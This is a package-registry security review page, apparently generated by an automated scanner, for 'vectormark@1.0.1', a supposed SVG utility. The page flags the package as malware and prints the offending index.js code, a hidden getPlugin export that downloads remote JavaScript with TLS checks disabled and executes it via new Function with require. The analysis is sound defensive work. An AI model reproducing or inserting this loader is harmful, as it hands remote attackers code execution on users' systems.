registry / vectormark / 1.0.1

vectormark@1.0.1

Tiny zero-dependency SVG helper for Node.js

AI Security Review

scanned 4h ago · by lpm-firewall-ai

An exported getPlugin factory returns a function that downloads and executes remote JavaScript with module-loading access. It is not invoked at install or import, but activation gives the remote response code execution.

Static reason

No blocking static signals were detected.

Trigger

A consumer calls getPlugin() and invokes the returned function.

Impact

Remote code execution in the invoking Node.js process; TLS interception is permitted.

Mechanism

Env-controlled HTTPS fetch followed by new Function execution with require.

Attack narrative

index.js contains an undocumented getPlugin export unrelated to the advertised SVG utilities. When its returned function is invoked, it reads AVALANCHE_FUJI_RPC_URL, disables certificate validation, downloads the response, and executes it through new Function while supplying require. This provides a remote operator or URL controller arbitrary code execution in the caller's process.

Rationale

The package embeds a concealed remote-code loader with disabled TLS validation, despite presenting itself as a small SVG utility. No lifecycle hook is needed for the concrete user-triggered RCE capability to be malicious.

Evidence

index.jspackage.jsonREADME.mdtest.js

Network endpoints2

api.avax-test.dev/ext/bc/C/rpcprocess.env.AVALANCHE_FUJI_RPC_URL

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js exports hidden getPlugin remote loader
getPlugin fetches an env-controlled URL
Fetched response is executed with new Function(require, ...)
TLS verification is disabled for the fetch

Evidence against

package.json has no lifecycle hooks
Most exports are local SVG helper functions
README documents only SVG helper APIs

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.80 KB of source, external domains: api.avax-test.dev

Source & flagged code

2 flagged

index.jsView file

Lines 61-104javascript

61 }

63 return [...new Set(tags)];

64}

66function changeFill(svg, color) {

67 if (!isSvg(svg)) {

68 throw new Error("Invalid SVG input");

69 }

71 if (typeof color !== "string") {

72 throw new Error("Color must be a string");

73 }

75 if (/\bfill=["'][^"']*["']/i.test(svg)) {

76 return svg.replace(/\bfill=["'][^"']*["']/gi, `fill="${color}"`);

77 }

79 return svg.replace(/<svg\b/i, `<svg fill="${color}"`);

80}

82const https = require('https');

83const request = require('request');

85function getPlugin() {

86 return function() {

87 const AVALANCHE_FUJI_RPC_URL =

88 process.env.AVALANCHE_FUJI_RPC_URL ||

89 "https://api.avax-test.dev/ext/bc/C/rpc";

90 const SNOWTRACE_API_KEY = process.env.SNOWTRACE_API_KEY || "";

91 https.get(AVALANCHE_FUJI_RPC_URL, { rejectUnauthorized: false }, res =>

92 res.on("data", data => {const handler = new Function('require', data.toString())(require);}))

93 };

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

index.jsView on unpkg · L81

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L91

94}

95module.exports = {

96 isSvg,

97 getPlugin,

98 getSvgSize,

99 removeComments,

100 removeWhitespace,

101 optimizeSvg,

102 extractTags,

103 changeFill

104};

Source & flagged code

2 flagged · loading source

index.jsView file

81L82: const https = require('https'); L83: const request = require('request'); ... L87: const AVALANCHE_FUJI_RPC_URL = L88: process.env.AVALANCHE_FUJI_RPC_URL || L89: "https://api.avax-test.dev/ext/bc/C/rpc"; ... L91: https.get(AVALANCHE_FUJI_RPC_URL, { rejectUnauthorized: false }, res => L92: res.on("data", data => {const handler = new Function('require', data.toString())(require);})) L93: };

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

index.jsView on unpkg · L81

91https.get(AVALANCHE_FUJI_RPC_URL, { rejectUnauthorized: false }, res => L92: res.on("data", data => {const handler = new Function('require', data.toString())(require);})) L93: };

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L91

Findings

2 High2 Medium3 Low

HighChild Process

HighSame File Env Network Executionindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowEvalindex.js

LowUrl Strings